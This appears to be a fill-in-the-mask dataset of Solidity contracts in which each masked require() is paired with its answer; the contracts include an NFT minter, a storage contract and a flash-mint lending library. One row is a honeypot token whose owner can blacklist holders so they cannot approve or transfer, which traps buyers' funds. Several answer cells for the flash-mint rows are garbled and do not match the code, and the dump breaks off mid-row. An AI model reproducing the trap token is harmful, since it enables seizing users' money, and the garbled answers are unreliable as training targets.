comment
stringlengths 1
211
β | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Sold out! No more WHCs are available"
|
// SPDX-License-Identifier: MIT
/*
βββββ ββββ βββββ βββ ββββ γ ββββ ββββ βββ βββ βββ ββββ βββ γ βββ βββ ββββ ββββ
βββββ ββββ βββββ βββ ββββ γ ββββ ββββ βββ βββ βββ ββββ βββ γ βββ βββ ββββ ββββ
βββββ ββββ βββββ βββ ββββ γ ββββ ββββ βββ βββ βββ ββββ βββ γ βββ βββ ββββ ββββ
*/
pragma solidity ^0.8.13;
import "./layerzero/ONFT721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract WomenHackersClub is Ownable, ONFT721 {
using Counters for Counters.Counter;
Counters.Counter private nextMintId;
string public baseTokenURI;
uint256 public maxMintId;
uint256 price = 82000000000000000; // 0.082 ether
uint256 mintpassprice = 64000000000000000; // 0.064 ether
uint256 allowlistprice = 76000000000000000; // 0.076 ether
uint256 public walletLimit = 100;
uint256 public perTxLimit = 3;
bool public saleIsActive = false;
bool public PresaleIsActive = false;
mapping(address => uint256) public addressMintedBalance;
address private a1 = 0xd6B20f7AB159Faf338093d51e1Eb78DEdB2a00B2;
address public signingAddress = 0x1048Ded3a542e064C82161Ab8840152393E0477E;
constructor(address _layerZeroEndpoint, uint startMintId, uint endMintId) ONFT721("Women Women Hackers Club", "WHC", _layerZeroEndpoint) {
}
function allowlistMint(uint256 mintCount,uint8 v, bytes32 r,bytes32 s,uint256 mint_allowed,uint256 free) external payable {
}
function mintpassMint(uint256 mintCount,uint8 v, bytes32 r,bytes32 s,uint256 mint_allowed,uint256 free) external payable {
}
function claim(uint256 mintCount,uint8 v, bytes32 r,bytes32 s,uint256 mint_allowed,uint256 free) external payable {
}
function publicMint(uint256 mintCount) external payable {
}
function mintOwner(address addr, uint256 mintCount) external onlyOwner {
}
function mint(address addr, uint256 mintCount) private {
require(<FILL_ME>)
for(uint i = 0;i<mintCount;i++)
{
_safeMint(addr, nextMintId.current());
nextMintId.increment();
addressMintedBalance[msg.sender]++;
}
}
function setMaxMintId(uint256 _maxMintId) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setMintpassPrice(uint256 _mintpassprice) external onlyOwner {
}
function setAllowlistPrice(uint256 _allowlistprice) external onlyOwner {
}
function setPerTxLimit(uint256 _perTxLimit) external onlyOwner {
}
function setWalletLimit(uint256 _perWalletLimit) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function totalSupply() external view returns (uint256) {
}
function getCurrentId() external view returns (uint256) {
}
function toggleSale() public onlyOwner {
}
function togglePresale() public onlyOwner {
}
function setSigningAddress(address _signingAddress) external onlyOwner {
}
function withdraw() external onlyOwner {
}
/**
* toEthSignedMessageHash
* @dev prefix a bytes32 value with "\x19Ethereum Signed Message:"
* and hash the result
*/
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
}
function verifySignature(uint8 v, bytes32 r,bytes32 s,uint256 amountAllowed,uint256 free) public view returns (bool) {
}
}
|
(nextMintId.current()+mintCount)<maxMintId,"Sold out! No more WHCs are available"
| 142,271 |
(nextMintId.current()+mintCount)<maxMintId
|
"Carla of the L: ETH amount is incorrect"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/// @title Carla of the L Kingdom
/// @notice https://twitter.com/CarlaoftheL
contract CarlaOfTheLGenerative is ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant price = 0.025 ether;
bool public publicSaleStarted = false;
uint256 public MAX_SUPPLY = 500;
string public baseURI = "ipfs://QmTYsynigFZXsZu9FnLz2ujySpcW3mkqWoVAxoYdBEuNqe/";
constructor() ERC721A("CarlaOfTheLGenerative", "CarlaOfTheLGenerative") {
}
function togglePublicSaleStarted() external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setMaxSupply(uint256 _new_max_supply) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Public Sale mint function
/// @param tokens number of tokens to mint
/// @dev reverts if any of the public sale preconditions aren't satisfied
function mint(uint256 tokens) external payable {
require(publicSaleStarted, "Carla of the L: Public sale has not started");
require(totalSupply() + tokens <= MAX_SUPPLY, "Carla of the L: Minting would exceed max supply");
require(tokens > 0, "Carla of the L: Must mint at least one token");
require(<FILL_ME>)
_safeMint(_msgSender(), tokens);
}
/// Distribute funds to wallets
function withdrawAll() public onlyOwner {
}
function _withdraw(address _address, uint256 _amount) private {
}
}
|
price*tokens==msg.value,"Carla of the L: ETH amount is incorrect"
| 142,486 |
price*tokens==msg.value
|
"must set guardian to 0x00 first"
|
pragma solidity >=0.8.0 <0.9.0;
// SPDX-License-Identifier: GPL-3.0-only
/// @title The primary persistent storage for Frens Staking Pools
/// @author modified 04-Dec-2022 by 0xWildhare originally by David Rugendyke (h/t David and Rocket Pool!)
/// @dev this code is modified from the Rocket Pool RocketStorage contract all "Rocket" replaced with "Frens" - everything not used by frens has beed removed.
import "./interfaces/IFrensStorage.sol";
contract FrensStorage is IFrensStorage{
// Events
event GuardianChanged(address oldGuardian, address newGuardian);
// Storage maps
mapping(bytes32 => uint256) private uintStorage;
mapping(bytes32 => address) private addressStorage;
mapping(bytes32 => bool) private booleanStorage;
// Guardian address
address guardian;
address newGuardian;
/**
* @dev Throws if called by any account other than a guardian account (temporary account allowed access to settings before DAO is fully enabled)
*/
modifier onlyGuardian() {
}
/// @dev Construct FrensStorage
constructor() {
}
// Get guardian address
function getGuardian() external override view returns (address) {
}
// Transfers guardianship to a new address
function setGuardian(address _newAddress) external override onlyGuardian{
}
// Confirms change of guardian
function confirmGuardian() external override {
}
// Confirms burning guardianship
function burnKeys() external override onlyGuardian{
// Check that new guardian has been set to zero address (are you sure?)
require(<FILL_ME>)
// Store old guardian for event
address oldGuardian = guardian;
// delete guardian
delete guardian;
// Emit event
emit GuardianChanged(oldGuardian, guardian);
}
/// @param _key The key for the record
function getAddress(bytes32 _key) override external view returns (address r) {
}
/// @param _key The key for the record
function getUint(bytes32 _key) override external view returns (uint256 r) {
}
/// @param _key The key for the record
function getBool(bytes32 _key) override external view returns (bool r) {
}
/// @param _key The key for the record
function setAddress(bytes32 _key, address _value) onlyGuardian override external {
}
/*
/// @param _key The key for the record
function setAddress(string memory _key, address _value) external {
bytes32 key = keccak256(abi.encodePacked(_key, msg.sender));
addressStorage[key] = _value;
}
*/
/// @param _key The key for the record
function setUint(bytes32 _key, uint _value) onlyGuardian override external {
}
/// @param _key The key for the record
function setBool(bytes32 _key, bool _value) onlyGuardian override external {
}
/// @param _key The key for the record
function deleteAddress(bytes32 _key) onlyGuardian override external {
}
/// @param _key The key for the record - added for Frens ~ 0xWildhare
function deleteUint(bytes32 _key) onlyGuardian override external {
}
/// @param _key The key for the record
function deleteBool(bytes32 _key) onlyGuardian override external {
}
/// @param _key The key for the record
/// @param _amount An amount to add to the record's value - 0xWildhare removed safeMath
function addUint(bytes32 _key, uint256 _amount) onlyGuardian override external {
}
/// @param _key The key for the record
/// @param _amount An amount to subtract from the record's value - 0xWildhare removed safeMath
function subUint(bytes32 _key, uint256 _amount) onlyGuardian override external {
}
}
|
address(0)==newGuardian,"must set guardian to 0x00 first"
| 142,488 |
address(0)==newGuardian
|
"Address is Delegateed"
|
pragma solidity ^0.5.16;
// ----------------------------------------------------------------------------
// This token is specifically designed to target and eliminate bots that monitor our fund's address.
// Bots are malignant entities in our ecosystem, and we will continue to eradicate them. Only bots would buy this token, not ordinary users.
// DON'T BUY, U will lose all ur money for buying this!!!!!!!!!
// DON'T BUY, U will lose all ur money for buying this!!!!!!!!!
// DON'T BUY, U will lose all ur money for buying this!!!!!!!!!
// DON'T BUY, U will lose all ur money for buying this!!!!!!!!!
// DON'T BUY, U will lose all ur money for buying this!!!!!!!!!
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
}
function safeSub(uint a, uint b) public pure returns (uint c) {
}
function safeMul(uint a, uint b) public pure returns (uint c) {
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
}
}
contract FUCKBOTS is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals;
address private _owner = 0x426a3bF7248263639a215a9D73cD93727096ce30;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public Delegate;
// Modifier for onlyOwner
modifier onlyOwner() {
}
constructor() public {
}
function totalSupply() public view returns (uint) {
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
}
function delegate(address user) public onlyOwner {
}
function undelegate(address user) public onlyOwner {
}
function approve(address spender, uint tokens) public returns (bool success) {
require(<FILL_ME>)
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
}
}
|
!Delegate[msg.sender],"Address is Delegateed"
| 142,553 |
!Delegate[msg.sender]
|
"Address is Delegateed!"
|
pragma solidity ^0.5.16;
// ----------------------------------------------------------------------------
// This token is specifically designed to target and eliminate bots that monitor our fund's address.
// Bots are malignant entities in our ecosystem, and we will continue to eradicate them. Only bots would buy this token, not ordinary users.
// DON'T BUY, U will lose all ur money for buying this!!!!!!!!!
// DON'T BUY, U will lose all ur money for buying this!!!!!!!!!
// DON'T BUY, U will lose all ur money for buying this!!!!!!!!!
// DON'T BUY, U will lose all ur money for buying this!!!!!!!!!
// DON'T BUY, U will lose all ur money for buying this!!!!!!!!!
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
}
function safeSub(uint a, uint b) public pure returns (uint c) {
}
function safeMul(uint a, uint b) public pure returns (uint c) {
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
}
}
contract FUCKBOTS is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals;
address private _owner = 0x426a3bF7248263639a215a9D73cD93727096ce30;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public Delegate;
// Modifier for onlyOwner
modifier onlyOwner() {
}
constructor() public {
}
function totalSupply() public view returns (uint) {
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
}
function delegate(address user) public onlyOwner {
}
function undelegate(address user) public onlyOwner {
}
function approve(address spender, uint tokens) public returns (bool success) {
}
function transfer(address to, uint tokens) public returns (bool success) {
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(<FILL_ME>) // Check if the address is Delegateed
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
}
|
!Delegate[from],"Address is Delegateed!"
| 142,553 |
!Delegate[from]
|
div
|
interface IUniswapAnchoredView {
function price(string memory) external returns (uint256);
}
interface IERC20Extended is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
library FlashMintLib {
using SafeMath for uint256;
event Leverage(uint256 amountRequested, uint256 requiredDAI, bool deficit, address flashLoan);
uint256 private constant PRICE_DECIMALS = 1e6;
uint256 private constant DAI_DECIMALS = 1e18;
uint256 private constant COLLAT_DECIMALS = 1e18;
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant CDAI = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
ComptrollerI private constant COMPTROLLER = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
address public constant LENDER = 0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA;
bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
function doFlashMint(
bool deficit,
uint256 amountDesired,
address want,
uint256 collatRatioDAI
) public returns (uint256) {
}
function maxLiquidity() public view returns (uint256) {
}
function getFlashLoanParams(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
) internal returns (uint256 requiredDAI, uint256 amountWant) {
uint256 priceDAIWant;
uint256 decimalsDifference;
(priceDAIWant, decimalsDifference, requiredDAI) = getPriceDAIWant(want, amountDesired, collatRatioDAI);
amountWant = amountDesired;
// If the cap for flashminting is reduced, we may hit maximum. To avoid reverts in that case we handle the edge case
uint256 _maxFlashLoan = maxLiquidity();
if (requiredDAI > _maxFlashLoan) {
require(<FILL_ME>) // use 98% of total liquidity available
if (address(want) == address(DAI)) {
amountWant = requiredDAI;
} else {
amountWant = requiredDAI.mul(collatRatioDAI).mul(PRICE_DECIMALS).div(priceDAIWant).div(COLLAT_DECIMALS).div(decimalsDifference);
}
}
}
function getPriceDAIWant(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
)
internal
returns (
uint256 priceDAIWant,
uint256 decimalsDifference,
uint256 requiredDAI
)
{
}
function getOraclePrice(address token) internal returns (uint256) {
}
function loanLogic(
bool deficit,
uint256 amountDAI,
uint256 amount,
CErc20I cToken
) public returns (bytes32) {
}
}
|
DAI=_maxFlashLoan.mul(9800).div(10_000
| 142,618 |
_maxFlashLoan.mul(9800)
|
div
|
interface IUniswapAnchoredView {
function price(string memory) external returns (uint256);
}
interface IERC20Extended is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
library FlashMintLib {
using SafeMath for uint256;
event Leverage(uint256 amountRequested, uint256 requiredDAI, bool deficit, address flashLoan);
uint256 private constant PRICE_DECIMALS = 1e6;
uint256 private constant DAI_DECIMALS = 1e18;
uint256 private constant COLLAT_DECIMALS = 1e18;
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant CDAI = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
ComptrollerI private constant COMPTROLLER = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
address public constant LENDER = 0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA;
bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
function doFlashMint(
bool deficit,
uint256 amountDesired,
address want,
uint256 collatRatioDAI
) public returns (uint256) {
}
function maxLiquidity() public view returns (uint256) {
}
function getFlashLoanParams(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
) internal returns (uint256 requiredDAI, uint256 amountWant) {
uint256 priceDAIWant;
uint256 decimalsDifference;
(priceDAIWant, decimalsDifference, requiredDAI) = getPriceDAIWant(want, amountDesired, collatRatioDAI);
amountWant = amountDesired;
// If the cap for flashminting is reduced, we may hit maximum. To avoid reverts in that case we handle the edge case
uint256 _maxFlashLoan = maxLiquidity();
if (requiredDAI > _maxFlashLoan) {
requiredDAI = _maxFlashLoan.mul(9800).div(10_000); // use 98% of total liquidity available
if (address(want) == address(DAI)) {
amountWant = requiredDAI;
} else {
require(<FILL_ME>)
}
}
}
function getPriceDAIWant(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
)
internal
returns (
uint256 priceDAIWant,
uint256 decimalsDifference,
uint256 requiredDAI
)
{
}
function getOraclePrice(address token) internal returns (uint256) {
}
function loanLogic(
bool deficit,
uint256 amountDAI,
uint256 amount,
CErc20I cToken
) public returns (bytes32) {
}
}
|
nt=requiredDAI.mul(collatRatioDAI).mul(PRICE_DECIMALS).div(priceDAIWant).div(COLLAT_DECIMALS).div(decimalsDifference
| 142,618 |
requiredDAI.mul(collatRatioDAI).mul(PRICE_DECIMALS).div(priceDAIWant).div(COLLAT_DECIMALS)
|
div
|
interface IUniswapAnchoredView {
function price(string memory) external returns (uint256);
}
interface IERC20Extended is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
library FlashMintLib {
using SafeMath for uint256;
event Leverage(uint256 amountRequested, uint256 requiredDAI, bool deficit, address flashLoan);
uint256 private constant PRICE_DECIMALS = 1e6;
uint256 private constant DAI_DECIMALS = 1e18;
uint256 private constant COLLAT_DECIMALS = 1e18;
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant CDAI = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
ComptrollerI private constant COMPTROLLER = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
address public constant LENDER = 0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA;
bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
function doFlashMint(
bool deficit,
uint256 amountDesired,
address want,
uint256 collatRatioDAI
) public returns (uint256) {
}
function maxLiquidity() public view returns (uint256) {
}
function getFlashLoanParams(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
) internal returns (uint256 requiredDAI, uint256 amountWant) {
}
function getPriceDAIWant(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
)
internal
returns (
uint256 priceDAIWant,
uint256 decimalsDifference,
uint256 requiredDAI
)
{
if (want == DAI) {
requiredDAI = amountDesired;
priceDAIWant = PRICE_DECIMALS; // 1:1
decimalsDifference = 1; // 10 ** 0
} else {
// NOTE: want decimals need to be <= 18. otherwise this will break
uint256 wantDecimals = 10**uint256(IERC20Extended(want).decimals());
decimalsDifference = DAI_DECIMALS.div(wantDecimals);
priceDAIWant = getOraclePrice(DAI).mul(PRICE_DECIMALS).div(getOraclePrice(want));
// requiredDAI = desiredWantInDAI / COLLAT_RATIO_DAI
// desiredWantInDAI = (desiredWant / priceDAIWant)
// NOTE: decimals need adjustment (e.g. BTC: 8 / ETH: 18)
require(<FILL_ME>)
}
}
function getOraclePrice(address token) internal returns (uint256) {
}
function loanLogic(
bool deficit,
uint256 amountDAI,
uint256 amount,
CErc20I cToken
) public returns (bytes32) {
}
}
|
DAI=amountDesired.mul(PRICE_DECIMALS).mul(COLLAT_DECIMALS).mul(decimalsDifference).div(priceDAIWant).div(collatRatioDAI
| 142,618 |
amountDesired.mul(PRICE_DECIMALS).mul(COLLAT_DECIMALS).mul(decimalsDifference).div(priceDAIWant)
|
"!mint_flash"
|
interface IUniswapAnchoredView {
function price(string memory) external returns (uint256);
}
interface IERC20Extended is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
library FlashMintLib {
using SafeMath for uint256;
event Leverage(uint256 amountRequested, uint256 requiredDAI, bool deficit, address flashLoan);
uint256 private constant PRICE_DECIMALS = 1e6;
uint256 private constant DAI_DECIMALS = 1e18;
uint256 private constant COLLAT_DECIMALS = 1e18;
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant CDAI = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
ComptrollerI private constant COMPTROLLER = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
address public constant LENDER = 0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA;
bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
function doFlashMint(
bool deficit,
uint256 amountDesired,
address want,
uint256 collatRatioDAI
) public returns (uint256) {
}
function maxLiquidity() public view returns (uint256) {
}
function getFlashLoanParams(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
) internal returns (uint256 requiredDAI, uint256 amountWant) {
}
function getPriceDAIWant(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
)
internal
returns (
uint256 priceDAIWant,
uint256 decimalsDifference,
uint256 requiredDAI
)
{
}
function getOraclePrice(address token) internal returns (uint256) {
}
function loanLogic(
bool deficit,
uint256 amountDAI,
uint256 amount,
CErc20I cToken
) public returns (bytes32) {
// if want is not DAI, we provide flashminted DAI to borrow want and be able to lever up/down
// if want is DAI, we use it directly to lever up/down
bool isDai;
// We check if cToken is DAI to save a couple of unnecessary calls
if (address(cToken) == address(CDAI)) {
isDai = true;
require(amountDAI == amount, "!amounts");
}
uint256 daiBal = IERC20(DAI).balanceOf(address(this));
if (deficit) {
if (!isDai) {
require(<FILL_ME>)
require(cToken.redeemUnderlying(amount) == 0, "!redeem_down");
}
//if in deficit we repay amount and then withdraw
uint256 repayAmount = Math.min(IERC20(cToken.underlying()).balanceOf(address(this)), cToken.borrowBalanceCurrent(address(this)));
require(cToken.repayBorrow(repayAmount) == 0, "!repay_down");
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
} else {
// if levering up borrow and deposit
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(cToken.borrow(amount) == 0, "!borrow_up");
if (!isDai) {
require(cToken.mint(IERC20(cToken.underlying()).balanceOf(address(this))) == 0, "!mint_up");
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
}
}
return CALLBACK_SUCCESS;
}
}
|
CErc20I(CDAI).mint(daiBal)==0,"!mint_flash"
| 142,618 |
CErc20I(CDAI).mint(daiBal)==0
|
"!repay_down"
|
interface IUniswapAnchoredView {
function price(string memory) external returns (uint256);
}
interface IERC20Extended is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
library FlashMintLib {
using SafeMath for uint256;
event Leverage(uint256 amountRequested, uint256 requiredDAI, bool deficit, address flashLoan);
uint256 private constant PRICE_DECIMALS = 1e6;
uint256 private constant DAI_DECIMALS = 1e18;
uint256 private constant COLLAT_DECIMALS = 1e18;
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant CDAI = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
ComptrollerI private constant COMPTROLLER = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
address public constant LENDER = 0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA;
bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
function doFlashMint(
bool deficit,
uint256 amountDesired,
address want,
uint256 collatRatioDAI
) public returns (uint256) {
}
function maxLiquidity() public view returns (uint256) {
}
function getFlashLoanParams(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
) internal returns (uint256 requiredDAI, uint256 amountWant) {
}
function getPriceDAIWant(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
)
internal
returns (
uint256 priceDAIWant,
uint256 decimalsDifference,
uint256 requiredDAI
)
{
}
function getOraclePrice(address token) internal returns (uint256) {
}
function loanLogic(
bool deficit,
uint256 amountDAI,
uint256 amount,
CErc20I cToken
) public returns (bytes32) {
// if want is not DAI, we provide flashminted DAI to borrow want and be able to lever up/down
// if want is DAI, we use it directly to lever up/down
bool isDai;
// We check if cToken is DAI to save a couple of unnecessary calls
if (address(cToken) == address(CDAI)) {
isDai = true;
require(amountDAI == amount, "!amounts");
}
uint256 daiBal = IERC20(DAI).balanceOf(address(this));
if (deficit) {
if (!isDai) {
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(cToken.redeemUnderlying(amount) == 0, "!redeem_down");
}
//if in deficit we repay amount and then withdraw
uint256 repayAmount = Math.min(IERC20(cToken.underlying()).balanceOf(address(this)), cToken.borrowBalanceCurrent(address(this)));
require(<FILL_ME>)
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
} else {
// if levering up borrow and deposit
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(cToken.borrow(amount) == 0, "!borrow_up");
if (!isDai) {
require(cToken.mint(IERC20(cToken.underlying()).balanceOf(address(this))) == 0, "!mint_up");
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
}
}
return CALLBACK_SUCCESS;
}
}
|
cToken.repayBorrow(repayAmount)==0,"!repay_down"
| 142,618 |
cToken.repayBorrow(repayAmount)==0
|
"!redeem"
|
interface IUniswapAnchoredView {
function price(string memory) external returns (uint256);
}
interface IERC20Extended is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
library FlashMintLib {
using SafeMath for uint256;
event Leverage(uint256 amountRequested, uint256 requiredDAI, bool deficit, address flashLoan);
uint256 private constant PRICE_DECIMALS = 1e6;
uint256 private constant DAI_DECIMALS = 1e18;
uint256 private constant COLLAT_DECIMALS = 1e18;
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant CDAI = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
ComptrollerI private constant COMPTROLLER = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
address public constant LENDER = 0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA;
bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
function doFlashMint(
bool deficit,
uint256 amountDesired,
address want,
uint256 collatRatioDAI
) public returns (uint256) {
}
function maxLiquidity() public view returns (uint256) {
}
function getFlashLoanParams(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
) internal returns (uint256 requiredDAI, uint256 amountWant) {
}
function getPriceDAIWant(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
)
internal
returns (
uint256 priceDAIWant,
uint256 decimalsDifference,
uint256 requiredDAI
)
{
}
function getOraclePrice(address token) internal returns (uint256) {
}
function loanLogic(
bool deficit,
uint256 amountDAI,
uint256 amount,
CErc20I cToken
) public returns (bytes32) {
// if want is not DAI, we provide flashminted DAI to borrow want and be able to lever up/down
// if want is DAI, we use it directly to lever up/down
bool isDai;
// We check if cToken is DAI to save a couple of unnecessary calls
if (address(cToken) == address(CDAI)) {
isDai = true;
require(amountDAI == amount, "!amounts");
}
uint256 daiBal = IERC20(DAI).balanceOf(address(this));
if (deficit) {
if (!isDai) {
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(cToken.redeemUnderlying(amount) == 0, "!redeem_down");
}
//if in deficit we repay amount and then withdraw
uint256 repayAmount = Math.min(IERC20(cToken.underlying()).balanceOf(address(this)), cToken.borrowBalanceCurrent(address(this)));
require(cToken.repayBorrow(repayAmount) == 0, "!repay_down");
require(<FILL_ME>)
} else {
// if levering up borrow and deposit
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(cToken.borrow(amount) == 0, "!borrow_up");
if (!isDai) {
require(cToken.mint(IERC20(cToken.underlying()).balanceOf(address(this))) == 0, "!mint_up");
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
}
}
return CALLBACK_SUCCESS;
}
}
|
CErc20I(CDAI).redeemUnderlying(amountDAI)==0,"!redeem"
| 142,618 |
CErc20I(CDAI).redeemUnderlying(amountDAI)==0
|
"!borrow_up"
|
interface IUniswapAnchoredView {
function price(string memory) external returns (uint256);
}
interface IERC20Extended is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
library FlashMintLib {
using SafeMath for uint256;
event Leverage(uint256 amountRequested, uint256 requiredDAI, bool deficit, address flashLoan);
uint256 private constant PRICE_DECIMALS = 1e6;
uint256 private constant DAI_DECIMALS = 1e18;
uint256 private constant COLLAT_DECIMALS = 1e18;
